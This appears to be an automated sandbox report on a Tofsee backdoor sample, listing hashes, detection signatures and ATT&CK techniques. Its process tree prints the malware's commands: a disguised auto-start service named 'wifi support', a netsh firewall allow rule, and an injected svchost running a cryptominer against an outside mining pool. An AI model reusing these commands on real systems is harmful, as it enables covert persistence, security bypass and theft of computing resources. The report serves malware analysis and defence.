Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    17-11-2020 15:12

General

  • Target

    b2e1156c89468ab56a6ed5376b5cbce2.exe

  • Size

    10.5MB

  • MD5

    7e49c6d5c9d1c11cb5f262c62a1f031a

  • SHA1

    0807651afb645375e19422bc8ae1f39e8a8c4b36

  • SHA256

    bfcc5198ba8aa2246e4e0f413d2e563b9c0776dff2270de0f98bfeb3f4043caa

  • SHA512

    353779e83cf4d92f8c29f6603ad9186777ccf76c820a230106a8080f1227c3747b63bca37f18fa524b8420a760bf23f6f8411418a7e325fefbad6ebe62b03bc7

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe
    "C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jgnlheac\
      2⤵
        PID:1620
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rdeytpqn.exe" C:\Windows\SysWOW64\jgnlheac\
        2⤵
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jgnlheac binPath= "C:\Windows\SysWOW64\jgnlheac\rdeytpqn.exe /d\"C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1396
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jgnlheac "wifi internet conection"
            2⤵
              PID:2000
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jgnlheac
              2⤵
                PID:1120
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1344
            • C:\Windows\SysWOW64\jgnlheac\rdeytpqn.exe
              C:\Windows\SysWOW64\jgnlheac\rdeytpqn.exe /d"C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:924
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1028
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1612

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Persistence

            New Service

            1
            T1050

            Modify Existing Service

            2
            T1031

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            New Service

            1
            T1050

            Defense Evasion

            Disabling Security Tools

            1
            T1089

            Modify Registry

            3
            T1112

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\rdeytpqn.exe
              MD5

              8a78087770553b95396527ae6146fa21

              SHA1

              1402aa00318fdf39f1a15070cdcaad061d01866d

              SHA256

              8d0161d12439d8fed122a97c069a041fce67bb9788e975cd97407362c87d743c

              SHA512

              66502a3011aa518be5977a9c2e5c2aa156d7d1727112276defd6cfa41b501fc103bf54c38e2e272d1f9acf6ee6ebdd030c4b78a38576631aeef6544a178ceb34

            • C:\Windows\SysWOW64\jgnlheac\rdeytpqn.exe
              MD5

              8a78087770553b95396527ae6146fa21

              SHA1

              1402aa00318fdf39f1a15070cdcaad061d01866d

              SHA256

              8d0161d12439d8fed122a97c069a041fce67bb9788e975cd97407362c87d743c

              SHA512

              66502a3011aa518be5977a9c2e5c2aa156d7d1727112276defd6cfa41b501fc103bf54c38e2e272d1f9acf6ee6ebdd030c4b78a38576631aeef6544a178ceb34

            • memory/1028-12-0x0000000000290000-0x0000000000296000-memory.dmp
              Filesize

              24KB

            • memory/1028-13-0x00000000003E0000-0x00000000003F0000-memory.dmp
              Filesize

              64KB

            • memory/1028-16-0x0000000000520000-0x0000000000527000-memory.dmp
              Filesize

              28KB

            • memory/1028-15-0x0000000005850000-0x0000000005C5B000-memory.dmp
              Filesize

              4.0MB

            • memory/1028-14-0x00000000004D0000-0x00000000004D5000-memory.dmp
              Filesize

              20KB

            • memory/1028-7-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/1028-8-0x0000000000089A6B-mapping.dmp
            • memory/1028-11-0x0000000001D00000-0x0000000001F0F000-memory.dmp
              Filesize

              2.1MB

            • memory/1120-5-0x0000000000000000-mapping.dmp
            • memory/1344-10-0x0000000000000000-mapping.dmp
            • memory/1396-3-0x0000000000000000-mapping.dmp
            • memory/1612-17-0x0000000000260000-0x0000000000351000-memory.dmp
              Filesize

              964KB

            • memory/1612-18-0x0000000000260000-0x0000000000351000-memory.dmp
              Filesize

              964KB

            • memory/1612-20-0x00000000002F259C-mapping.dmp
            • memory/1620-0-0x0000000000000000-mapping.dmp
            • memory/1764-1-0x0000000000000000-mapping.dmp
            • memory/2000-4-0x0000000000000000-mapping.dmp